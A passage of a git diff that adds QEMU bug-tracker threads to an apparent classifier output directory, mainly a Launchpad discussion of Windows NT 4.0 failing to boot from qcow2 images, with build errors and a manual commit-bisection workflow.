/build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#66 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e15c40) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#67 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b07f00a80) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#68 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b07f00a80) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#69 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b15703250) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#70 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b15703250) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#71 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e17870) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#72 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e17870) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#73 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b15703140) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#74 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b15703140) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#75 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e0c210) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#76 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e0c210) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#77 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e08650) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#78 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e08650) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#79 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e07470) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#80 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e07470) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#81 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b15e03a10) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#82 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b15e03a10) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#83 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e11d90) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#84 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e11d90) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#85 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4b17e13d00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#86 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b17e13d00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#87 0x0000562a4c582e74 in qemu_co_queue_run_restart (co=0x7f4afbe02b00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#88 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4afbe02b00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#89 0x0000562a4c582fa0 in qemu_co_enter_next (queue=queue@entry=0x562a4d8e65e0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:106 +#90 0x0000562a4c521060 in timer_cb (blk=0x562a4d8e6590, is_write=<optimized out>) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/block/throttle-groups.c:400 +#91 0x0000562a4c4de615 in timerlist_run_timers (timer_list=0x562a4d952d40) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/qemu-timer.c:528 +#92 0x0000562a4c4de679 in timerlistgroup_run_timers (tlg=tlg@entry=0x562a4ecd0758) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/qemu-timer.c:564 +#93 0x0000562a4c4def47 in aio_dispatch (ctx=ctx@entry=0x562a4ecd0610) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/aio-posix.c:357 +#94 0x0000562a4c4df0e8 in aio_poll (ctx=0x562a4ecd0610, blocking=<optimized out>) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/aio-posix.c:479 +#95 0x0000562a4c340c79 in iothread_run (opaque=0x562a4ecd03c0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/iothread.c:46 +#96 0x00007f4d5b0e80a4 in start_thread () from /lib/x86_64-linux-gnu/libpthread.so.0 +#97 0x00007f4d5ae1d62d in clone () from /lib/x86_64-linux-gnu/libc.so.6 +-------------------------------------------------------------------------- + +Looking at the data: +-------------------------------------------------------------------------- +(gdb) frame 2 +#2 0x0000562a4c582b6c in qemu_coroutine_enter (co=0x7f4b1bf0a900) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:113 +113 /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c: No such file or directory. +(gdb) print *co +$1 = {entry = 0x7f4d23f20198, entry_arg = 0x1, caller = 0x7f4d23f20178, pool_next = {sle_next = 0x10}, co_queue_wakeup = {sqh_first = 0x7f4c605fb000, sqh_last = 0x1000}, co_queue_next = { + sqe_next = 0x7f4c584f5000}} +(gdb) print *co->caller +$2 = {entry = 0x400400000001, entry_arg = 0x5000ac0, caller = 0x0, pool_next = {sle_next = 0x0}, co_queue_wakeup = {sqh_first = 0x0, sqh_last = 0xffffea0005b1fec0}, co_queue_next = {sqe_next = 0x100000000000}} +(gdb) frame 4 +#4 0x0000562a4c5829a9 in qemu_coroutine_enter (co=0x7f4b1bf0a830) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +119 in /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c +(gdb) print *co +$5 = {entry = 0x7f4b180001d8, entry_arg = 0x7f4b180001d8, caller = 0x7f4b1bf0a8d8, pool_next = {sle_next = 0x7f4b1bf0a8e0}, co_queue_wakeup = {sqh_first = 0x7f4c584f5000, sqh_last = 0x7f4b1bf0a910}, + co_queue_next = {sqe_next = 0x5000ac0}} +(gdb) print *co->caller +$6 = {entry = 0x230120198, entry_arg = 0x230120178, caller = 0x16c7fb000, pool_next = {sle_next = 0x1646f5000}, co_queue_wakeup = {sqh_first = 0x1718c2000, sqh_last = 0x7f4d23f20198}, co_queue_next = { + sqe_next = 0x1}} +-------------------------------------------------------------------------- + +Same thing. + +On Wed, Mar 15, 2017 at 04:02:55PM -0000, Mohammed Gamal wrote: +> I've been experiencing frequent SIGABRTs (in addition to segfaults in +> #1671876) lately with qemu 2.7.0 running Ubuntu 16.04 guests. The crash +> usually happens in qemu_coroutine_enter(). I haven't seen this so far +> with any other guests or distros. + +Please report this against the Ubuntu package, not the upstream QEMU +project. + +If the abort reproduces with qemu.git/master or QEMU 2.9-rc0 then it +would be appropriate for the upstream QEMU bug tracker. + +Thanks, +Stefan + + +Fixed by commit 528f449f590829b53ea01ed91817a695b540421d + diff --git a/results/classifier/deepseek-1/output/setup./1737194 b/results/classifier/deepseek-1/output/setup./1737194 new file mode 100644 index 00000000..2cdc80f6 --- /dev/null +++ b/results/classifier/deepseek-1/output/setup./1737194 @@ -0,0 +1,630 @@ + +Windows NT 4.0 fails to boot from qcow2 installation + +Windows NT 4.0 will not boot from an installation more than once if installed in a qcow2 image file. A quick fix to this problem is to use the qcow format instead. + +Steps to reproduce this issue: + +Create the image file: +qemu-img create -f qcow2 winnt4.qcow2 1G + +Boot from a Windows NT 4.0 Workstation CD: +qemu-system-i386 -hda winnt4.qcow2 -cdrom /dev/cdrom -boot d -m 128 -cpu pentium -vga cirrus + +During the installation process you have the choise between FAT and NTFS. You can pick anyone. + +After finishing the installation the guest will reboot to install additional items. Once this is done the guest will be bootable. Eject any CD media from QEMU and reboot. You will then see Windows NT 4.0 booting up to the desktop. Go to "Start->Shut down" to shut down. Then when Windows is ready quit QEMU. + +Now try to boot using this command: +qemu-system-i386 -hda winnt4.qcow2 -boot c -m 128 -cpu pentium -vga cirrus + +The BIOS screen will display an error message: + +For NTFS: +Booting from Hard Disk... +A disk read error occurred. +Insert a system diskette and restart +the system. + +For FAT: +No bootable device. + +Additional information: +qemu-system-i386 version: 2.10.1 +qemu-img version: 2.10.92 (v2.11.0-rc4-dirty) + +If you don't have a Windows NT 4.0 Workstation installation CD, you may download one from here: +https://winworldpc.com/product/windows-nt-40/40 + +If you do two identical installs with qcow2 and raw, do you see any differences with qemu-img compare afterwards that might indicate what could possibly have gone wrong? + + +> On Dec 8, 2017, at 1:41 PM, John Snow <email address hidden> wrote: +> +> If you do two identical installs with qcow2 and raw, do you see any +> differences with qemu-img compare afterwards that might indicate what +> could possibly have gone wrong? + +I think what you want is for me to compare a broken qcow2 file with a working qcow file. I'm not sure how to do that but if you sent me directions I can send you the results. + +I did try using the broken qcow2 file in a Windows XP VM. When I try to open the "Program Files" folder I see this error message: "D:\Program Files is not accessible. The file or directory is corrupted and unreadable". The WINNT folder does open. + +I tried checking the disk with Windows XP's disk repair utility. It failed to complete and displayed this error message: "Windows was unable to complete the disk check". + +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1737194 +> +> Title: +> Windows NT 4.0 fails to boot from qcow2 installation +> +> Status in QEMU: +> New +> +> Bug description: +> Windows NT 4.0 will not boot from an installation more than once if +> installed in a qcow2 image file. A quick fix to this problem is to use +> the qcow format instead. +> +> Steps to reproduce this issue: +> +> Create the image file: +> qemu-img create -f qcow2 winnt4.qcow2 1G +> +> Boot from a Windows NT 4.0 Workstation CD: +> qemu-system-i386 -hda winnt4.qcow2 -cdrom /dev/cdrom -boot d -m 128 -cpu pentium -vga cirrus +> +> During the installation process you have the choise between FAT and +> NTFS. You can pick anyone. +> +> After finishing the installation the guest will reboot to install +> additional items. Once this is done the guest will be bootable. Eject +> any CD media from QEMU and reboot. You will then see Windows NT 4.0 +> booting up to the desktop. Go to "Start->Shut down" to shut down. Then +> when Windows is ready quit QEMU. +> +> Now try to boot using this command: +> qemu-system-i386 -hda winnt4.qcow2 -boot c -m 128 -cpu pentium -vga cirrus +> +> The BIOS screen will display an error message: +> +> For NTFS: +> Booting from Hard Disk... +> A disk read error occurred. +> Insert a system diskette and restart +> the system. +> +> For FAT: +> No bootable device. +> +> Additional information: +> qemu-system-i386 version: 2.10.1 +> qemu-img version: 2.10.92 (v2.11.0-rc4-dirty) +> +> If you don't have a Windows NT 4.0 Workstation installation CD, you may download one from here: +> https://winworldpc.com/product/windows-nt-40/40 +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1737194/+subscriptions + + + +Hi, + +I've been experiencing various disk I/O issues with Windows NT too, as well as with Windows 3.1. I think `-M isapc` may be to blame somehow. + +I've documented my experiences over at https://bugs.launchpad.net/qemu/+bug/1745312. + +That report contains information on how to lift out and build the before-and-after QEMU commits that I think relate to this being broken. John Arbuckle, perhaps you could run through that and see if you continue to have issues. + +I was initially going to post that report as a comment in this thread, until I realized I was having I/O issues on multiple operating systems. + +> On Jan 25, 2018, at 2:53 AM, i336_ <email address hidden> wrote: +> +> Hi, +> +> I've been experiencing various disk I/O issues with Windows NT too, as +> well as with Windows 3.1. I think `-M isapc` may be to blame somehow. +> +> I've documented my experiences over at +> https://bugs.launchpad.net/qemu/+bug/1745312. +> +> That report contains information on how to lift out and build the +> before-and-after QEMU commits that I think relate to this being broken. +> John Arbuckle, perhaps you could run through that and see if you +> continue to have issues. +> +> I was initially going to post that report as a comment in this thread, +> until I realized I was having I/O issues on multiple operating systems. +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1737194 +> +> Title: +> Windows NT 4.0 fails to boot from qcow2 installation +> +> Status in QEMU: +> New +> +> Bug description: +> Windows NT 4.0 will not boot from an installation more than once if +> installed in a qcow2 image file. A quick fix to this problem is to use +> the qcow format instead. +> +> Steps to reproduce this issue: +> +> Create the image file: +> qemu-img create -f qcow2 winnt4.qcow2 1G +> +> Boot from a Windows NT 4.0 Workstation CD: +> qemu-system-i386 -hda winnt4.qcow2 -cdrom /dev/cdrom -boot d -m 128 -cpu pentium -vga cirrus +> +> During the installation process you have the choise between FAT and +> NTFS. You can pick anyone. +> +> After finishing the installation the guest will reboot to install +> additional items. Once this is done the guest will be bootable. Eject +> any CD media from QEMU and reboot. You will then see Windows NT 4.0 +> booting up to the desktop. Go to "Start->Shut down" to shut down. Then +> when Windows is ready quit QEMU. +> +> Now try to boot using this command: +> qemu-system-i386 -hda winnt4.qcow2 -boot c -m 128 -cpu pentium -vga cirrus +> +> The BIOS screen will display an error message: +> +> For NTFS: +> Booting from Hard Disk... +> A disk read error occurred. +> Insert a system diskette and restart +> the system. +> +> For FAT: +> No bootable device. +> +> Additional information: +> qemu-system-i386 version: 2.10.1 +> qemu-img version: 2.10.92 (v2.11.0-rc4-dirty) +> +> If you don't have a Windows NT 4.0 Workstation installation CD, you may download one from here: +> https://winworldpc.com/product/windows-nt-40/40 +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1737194/+subscriptions + +I did try to build at commits 306ec6c3cece7004429c79c1ac93d49919f1f1cc and e689f7c668cbd9d08f330e17c3dd3a059c9553d3. Both failed to build on my Mac OS X system. Here is the error message I usually saw: + + LINK qemu-io +Undefined symbols for architecture x86_64: + "_use_rt_clock", referenced from: + _bdrv_acct_start in block.o + _bdrv_acct_done in block.o +Undefined symbols for architecture x86_64: + _qemu_clock_get_ns in qemu-timer.o + "_use_rt_clock", referenced from: + _bdrv_acct_start in block.o + _bdrv_acct_done in block.o + _qemu_clock_get_ns in qemu-timer.o + +In your report you mention using the raw disk image format and VHD(x). I have had great success with the qcow image format. Could you try it and let us know if it fixes things for you? + +To create a qcow image file: + qemu-img create -f qcow <HD image file name>.qcow 1G + + + +On 25 January 2018 at 15:58, John Arbuckle <email address hidden> wrote: +> I did try to build at commits 306ec6c3cece7004429c79c1ac93d49919f1f1cc +> and e689f7c668cbd9d08f330e17c3dd3a059c9553d3. Both failed to build on my +> Mac OS X system. Here is the error message I usually saw: +> +> LINK qemu-io +> Undefined symbols for architecture x86_64: +> "_use_rt_clock", referenced from: +> _bdrv_acct_start in block.o +> _bdrv_acct_done in block.o +> Undefined symbols for architecture x86_64: +> _qemu_clock_get_ns in qemu-timer.o +> "_use_rt_clock", referenced from: +> _bdrv_acct_start in block.o +> _bdrv_acct_done in block.o +> _qemu_clock_get_ns in qemu-timer.o + +If you configure with --disable-tools does it manage to build, +or does it just go on to fail to link the main QEMU binary +with the same error? (We've had some issues in the past I think +where configure put libraries on the main binary link line but +not on the tools link lines, so maybe worth a try...) + +thanks +-- PMM + + +> # WinNT 4 Terminal Server +> +> Most of the time, NTLDR will fire up normally. But every so often... +> +> SeaBIOS (version rel-1.7.3-117-g31b8b4e-20131206_080705-nilsson.home.kraxel.org) +> +> Booting from Hard Disk... +> A disk read error occurred. +> Insert a system diskette and restart +> the system. +> +> (NB. You're seeing the old SeaBIOS version included with e689f7c, which was the first buggy commit.) +> +> If NT gets past this point without erroring out (ie, it makes it to the boot menu), the rest of the system is 100% fine and there are no other disk I/O issues whatsoever. For example, on QEMU 2.9.0 I was able to enable disk compression, answer "Yes" to "Compress entire disk now?" and have the process fully complete. No hitches. +> + +I tried adding -M isapc to my Windows NT 4.0 VM's arguments and I saw the same error message at first. Then I tried it again by making a few changes. I played with the network card settings and removed the "-M isapc" argument to make things work again. Then I went back and added the "-M isapc" option again and Windows booted. I restarted several times and didn't see the error message. I am using qemu-system-i386 version 2.10.1. Just to see if I could see any of the disk errors you saw I ran in the command prompt "chkdsk c:" a couple of times. It came back with no errors every time. + + +> On Jan 25, 2018, at 11:16 AM, Peter Maydell <email address hidden> wrote: +> +> On 25 January 2018 at 15:58, John Arbuckle <email address hidden> wrote: +>> I did try to build at commits 306ec6c3cece7004429c79c1ac93d49919f1f1cc +>> and e689f7c668cbd9d08f330e17c3dd3a059c9553d3. Both failed to build on my +>> Mac OS X system. Here is the error message I usually saw: +>> +>> LINK qemu-io +>> Undefined symbols for architecture x86_64: +>> "_use_rt_clock", referenced from: +>> _bdrv_acct_start in block.o +>> _bdrv_acct_done in block.o +>> Undefined symbols for architecture x86_64: +>> _qemu_clock_get_ns in qemu-timer.o +>> "_use_rt_clock", referenced from: +>> _bdrv_acct_start in block.o +>> _bdrv_acct_done in block.o +>> _qemu_clock_get_ns in qemu-timer.o +> +> If you configure with --disable-tools does it manage to build, +> or does it just go on to fail to link the main QEMU binary +> with the same error? (We've had some issues in the past I think +> where configure put libraries on the main binary link line but +> not on the tools link lines, so maybe worth a try...) +> +> thanks +> -- PMM +> + +It still fails to build: + +Build commands: ./configure --disable-tools --target-list=i386-softmmu && make -j 4 + +QEMU at commit: 306ec6c3cece7004429c79c1ac93d49919f1f1cc + + LINK i386-softmmu/qemu-system-i386 +Undefined symbols for architecture x86_64: + "_use_rt_clock", referenced from: + _bdrv_acct_start in block.o + _bdrv_acct_done in block.o + _qemu_clock_get_ns in qemu-timer.o + _cpu_get_clock in cpus.o + _cpu_enable_ticks in cpus.o + _cpu_disable_ticks in cpus.o + _icount_warp_rt in cpus.o + ... +ld: symbol(s) not found for architecture x86_64 +clang: error: linker command failed with exit code 1 (use -v to see invocation) +make[1]: *** [qemu-system-i386] Error 1 +make: *** [subdir-i386-softmmu] Error 2 + + + + +On 25 January 2018 at 16:43, John Arbuckle <email address hidden> wrote: +>> On Jan 25, 2018, at 11:16 AM, Peter Maydell <email address hidden> wrote: +>> If you configure with --disable-tools does it manage to build, +>> or does it just go on to fail to link the main QEMU binary +>> with the same error? + +> It still fails to build: + +That's a shame. Thanks for testing. I guess there was a bug that +we fixed at some point but figuring out what the bug fix was and +backporting it to the commits to be tested is probably too much +effort to be worthwhile. + +-- PMM + + +Hi John & others: + +(3 separate things.) + +1: Image formats + +Regarding qcow, unfortunately there is no change if I use this format. + +- Windows 3.1 initially hung at "Starting MS-DOS..."; upon restart it crashed when it decided it couldn't find COMMAND.COM (a frequent failure mode I forgot to mention). + +- NT initially crashed with one of its famous disk read errors. Of course. + +- After the initial NT crash, repeated QEMU reloads began showing the boot menu rather consistently, so I pointed my test harness to the qcow image. Of course, it crashed on the first try in the test harness :), then launched successfully 42 times before crashing again. This sort of behavior is pretty consistent with what happened with raw images. + +I just did 77 runs with commit 306ec6c and the qcow image worked just as well as the raw image did. + +One thing. I converted my raw disk images to qcow so I could test and reply somewhat more quickly. (Just stumbled on the new activity in the thread after manually checking a couple hours ago, glad I did!. I'm actually subscribed now :) ) + +It could be strongly argued that I should create _new_ disk images. But my three counter-arguments are that + + a) the storage format shouldn't influence the guest. + b) I exhaustively tested the bisection point I found, and the "before" state is absolutely rock solid. I'd say I've tested 450+ consecutive good runs without any hitches at this point - the 350 runs I documented, and a hundred or so more that I did before that. + c) it could be very well argued that QEMU-level errors have left corruption in the disk image. My argument here is to reiterate (b). + +If anyone wants to strongly argue for creating new images, I can try that. *resigned grumble* + +Also... is qcow working stably for you, with no issues? If it is I'm very fascinated to hear that. + +And - you're using `-M isapc`, right? I find that if I don't, NT will hit a STOP error pretty much instantaneously (within the first few fractions of a second after it's obvious the kernel has initialized). + +--- + +2: Bitness + +The few error messages I saw in your build failure hinted at 64-bit incompatibility. + +Well... I was able, at length, to get QEMU to build for 32-bit. It mostly boiled down to careful analysis of config-host.mak, removing -m64 and substituting -m32, and poking {C,LD}FLAGS until it compiled. + +As I noted in the other thread, the built QEMU had a 100% broken TCG and required some form of hardware acceleration to even start correctly. In my case this was KVM. + +Oh, also, on the subject of compilation - this isn't bitness-related, but QEMU's Makefiles accept the standard `V=2` for verbose build that shows the compilation commands. I'd imagine the result would probably be best attached as a file. I have no idea if this information will be useful to the QEMU developers. + +--- + +3: Bisection + +I initially thought to cram this info somewhere in the I/O report but decided against it due to that post's final length. But it could be relevant here. + +Here's the approach I used to rapidly bounce back and forth and in search of the before-and-after "edges". I used this for the I/O issues discussed here and also for another issue (https://bugs.launchpad.net/qemu/+bug/1745316), and if you feel like it, you could use this to track down why the older QEMU versions are not building on OS X. + +This could be worth it - the fixes could be minimal and a hacky "good enough" backport could be viable, or this may just end up confirming that the breakage was major. + +I'll just document the exact workflow I used. + +First, I created a new base directory somewhere, to hold all the subdirs with branches I'd be testing. + +Next, I switched to the dir with the qemu git checkout, and: + +$ git rev-list 306ec6c3cece7004429c79c1ac93d49919f1f1cc..master | tac | nl -n ln > /path/to/basedir/branchlist.txt + +$ Now for the wince part: + +$ wc -l branchlist.txt +28734 + +Wooooo! +(...not.) + +[Note: I'm using a fractionally old local clone. That number, and all the numbers below, are likely going to be slightly bigger.] + +Now, define this function (my interactive sessions use bash, this may work with zsh/others): + +$ z() { n="$1"; b="$(grep "^$n[^0-9]" /path/to/basedir/branchlist.txt | cut -d$'\t' -f2)"; sb="${b:0:7}"; d="/path/to/basedir/$n-$sb/"; mkdir "$d"; git archive "$b" | tar xC "$d"; } + +Now, you can just do something like + +$ z 14367 + +and then, in a separate terminal, you can cd over to the newly-created /path/to/basedir/14367-1bfa316/, and configure and build it. + +The function just lets you refer to the commits by number as you work, which makes it much easier (indeed, possible at all) to select which commit to build, and also keep track of where you're up to. + +NOTE: The `tac` in the line that generated branchlist.txt means that commit 1 will be older than commit 28734. Smaller numbers go back in time, which makes sense to me. For opposite behavior remove the `tac`. + +The number in the `z` line above is 28734/2, ie, this jumps straight into the middle of the list. (Of (obvious) note is that the generated list does not represent _all_ the commits.) If that commit fails to build, you might jump back by half, eg 7184. If that one works, you might jump forward by half, or 21550. + +It's kind of meditative... but it does get irritating toward the end when you're jumping forward by 30... then back by 7... then forward by 3... (like an annoying padlock!) + +(I can strongly recommend keeping notes of which builds worked and which didn't. I totally didn't jump in the wrong direction a few times...) + +If you're so inclined, you could probably wrap all of this into a bit of automation. `make`'s return code is admittedly much much easier to script off of than hooking up a test harness to do a bunch of automated runs and deciding for itself whether it produced a fail or pass. Or (in the case of the other bug I found), testing mouse movements. For these reasons it was much easier for me to use this workflow manually. + +Even with a starting list of nearly 30k commits, this works exponentially at best, and better-than-exponentially if you decide to arbitrarily jump back or forward by more than half. So while this isn't a 10-minute job, it _shouldn't_ take all day, either. + + + +> On Jan 26, 2018, at 9:51 AM, David Lindsay <email address hidden> wrote: +> +> Hi John & others: +> +> (3 separate things.) +> +> 1: Image formats +> +> Regarding qcow, unfortunately there is no change if I use this format. +> +> - Windows 3.1 initially hung at "Starting MS-DOS..."; upon restart it +> crashed when it decided it couldn't find COMMAND.COM (a frequent failure +> mode I forgot to mention). + +I have tried using Windows 3.1 in QEMU in the past. It was a long time ago so I will have to go back and try it again. Hopefully one of the files here would help: https://winworldpc.com/product/windows-3/31 + +> +> - NT initially crashed with one of its famous disk read errors. Of +> course. +> +> - After the initial NT crash, repeated QEMU reloads began showing the +> boot menu rather consistently, so I pointed my test harness to the qcow +> image. Of course, it crashed on the first try in the test harness :), +> then launched successfully 42 times before crashing again. This sort of +> behavior is pretty consistent with what happened with raw images. +> +> I just did 77 runs with commit 306ec6c and the qcow image worked just as +> well as the raw image did. + +Have you tried the latest commit or release of QEMU yet? + +> It could be strongly argued that I should create _new_ disk images. But +> my three counter-arguments are that +> +> a) the storage format shouldn't influence the guest. + +This is what I thought. But this is just a theory. It doesn't work in real life. + +> b) I exhaustively tested the bisection point I found, and the "before" state is absolutely rock solid. I'd say I've tested 450+ consecutive good runs without any hitches at this point - the 350 runs I documented, and a hundred or so more that I did before that. +> c) it could be very well argued that QEMU-level errors have left corruption in the disk image. My argument here is to reiterate (b). +> +> If anyone wants to strongly argue for creating new images, I can try +> that. *resigned grumble* +> +> Also... is qcow working stably for you, with no issues? If it is I'm +> very fascinated to hear that. + +That is correct. I went back to QEMU 0.9 and tried a bunch of releases to around 2.x until I realized it was the image file that was the problem. I must have installed Windows NT 4.0 around 20 times before finding the answer to my problem. + +> And - you're using `-M isapc`, right? I find that if I don't, NT will +> hit a STOP error pretty much instantaneously (within the first few +> fractions of a second after it's obvious the kernel has initialized). + +Actually I like using the PCI network cards so I never had a reason to use "-M isapc" until you contacted me. Windows NT 4.0 runs rock solid for me without it. The only issue I noticed is when I play StarCraft in my Windows NT 4.0 VM, the mouse starts moving around erratically after around 45 minutes of use. + + +> 2: Bitness +> +> The few error messages I saw in your build failure hinted at 64-bit +> incompatibility. +> +> Well... I was able, at length, to get QEMU to build for 32-bit. It +> mostly boiled down to careful analysis of config-host.mak, removing -m64 +> and substituting -m32, and poking {C,LD}FLAGS until it compiled. +> +> As I noted in the other thread, the built QEMU had a 100% broken TCG and +> required some form of hardware acceleration to even start correctly. In +> my case this was KVM. + +I'm not too sure about 32-bit host support. All my QEMU-running computers are 64-bit. If you have figured out how to fix these problems making patch and sending it in would probably help a lot of people. Let me know if you need help doing this. + +> +> 3: Bisection +> +> I initially thought to cram this info somewhere in the I/O report but +> decided against it due to that post's final length. But it could be +> relevant here. +> +> Here's the approach I used to rapidly bounce back and forth and in +> search of the before-and-after "edges". I used this for the I/O issues +> discussed here and also for another issue +> (https://bugs.launchpad.net/qemu/+bug/1745316), and if you feel like it, +> you could use this to track down why the older QEMU versions are not +> building on OS X. + +The thing is if the newest versions of QEMU work, why try debugging an older version? + +> +> This could be worth it - the fixes could be minimal and a hacky "good +> enough" backport could be viable, or this may just end up confirming +> that the breakage was major. +> +> I'll just document the exact workflow I used. + +<snip> + +> It's kind of meditative... but it does get irritating toward the end +> when you're jumping forward by 30... then back by 7... then forward by +> 3... (like an annoying padlock!) + +'git bisect' is a lot easier to use. It does most of the work for you. + +<snip> + +> Even with a starting list of nearly 30k commits, this works +> exponentially at best, and better-than-exponentially if you decide to +> arbitrarily jump back or forward by more than half. So while this isn't +> a 10-minute job, it _shouldn't_ take all day, either. + +Sorry I couldn't help with verifying the commits you wanted me to test out. I tried seeing if I could make a quick hack to make QEMU compile but I realized the hack would probably add to the problems we are facing. + +I have just found some Windows 95 iso's that I will try out in QEMU 2.11. I will let you know if I notice any disk corruption issues. + + +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1737194 +> +> Title: +> Windows NT 4.0 fails to boot from qcow2 installation +> +> Status in QEMU: +> New +> +> Bug description: +> Windows NT 4.0 will not boot from an installation more than once if +> installed in a qcow2 image file. A quick fix to this problem is to use +> the qcow format instead. +> +> Steps to reproduce this issue: +> +> Create the image file: +> qemu-img create -f qcow2 winnt4.qcow2 1G +> +> Boot from a Windows NT 4.0 Workstation CD: +> qemu-system-i386 -hda winnt4.qcow2 -cdrom /dev/cdrom -boot d -m 128 -cpu pentium -vga cirrus +> +> During the installation process you have the choise between FAT and +> NTFS. You can pick anyone. +> +> After finishing the installation the guest will reboot to install +> additional items. Once this is done the guest will be bootable. Eject +> any CD media from QEMU and reboot. You will then see Windows NT 4.0 +> booting up to the desktop. Go to "Start->Shut down" to shut down. Then +> when Windows is ready quit QEMU. +> +> Now try to boot using this command: +> qemu-system-i386 -hda winnt4.qcow2 -boot c -m 128 -cpu pentium -vga cirrus +> +> The BIOS screen will display an error message: +> +> For NTFS: +> Booting from Hard Disk... +> A disk read error occurred. +> Insert a system diskette and restart +> the system. +> +> For FAT: +> No bootable device. +> +> Additional information: +> qemu-system-i386 version: 2.10.1 +> qemu-img version: 2.10.92 (v2.11.0-rc4-dirty) +> +> If you don't have a Windows NT 4.0 Workstation installation CD, you may download one from here: +> https://winworldpc.com/product/windows-nt-40/40 +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1737194/+subscriptions + + + +I have installed Windows 95 OSR 2.5 in QEMU using the qcow2 format. So far there hasn't been any major problems that prevent Windows from booting. + +I downloaded the ISO file from here: https://winworldpc.com/product/windows-95/osr-3 + +Used this floppy boot image to boot QEMU: https://winworldpc.com/product/microsoft-windows-boot-disk/95-osr2x + +Created the hard drive image file like this: qemu-img create -f qcow2 ~/windows95.qcow2 2G + +I used my Windows XP VM to format this qcow2 file to the FAT format. + +My first attempt to boot the hard drive image file failed probably because the CPU was set to something Windows 95 couldn't handle properly. Changing the cpu to a pentium removed the booting problem. + +This is the command-line I used to boot Windows 95: +qemu-system-i386 -hda windows95.qcow2 -boot c -netdev user,id=mynet0 -device ne2k_isa,netdev=mynet0 -soundhw sb16 -m 32 -cpu pentium -vga cirrus -localtime + +The version of QEMU I used is today's git version (commit e607bbee553cfe73072870cef458cfa4e78133e2). + + + + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to 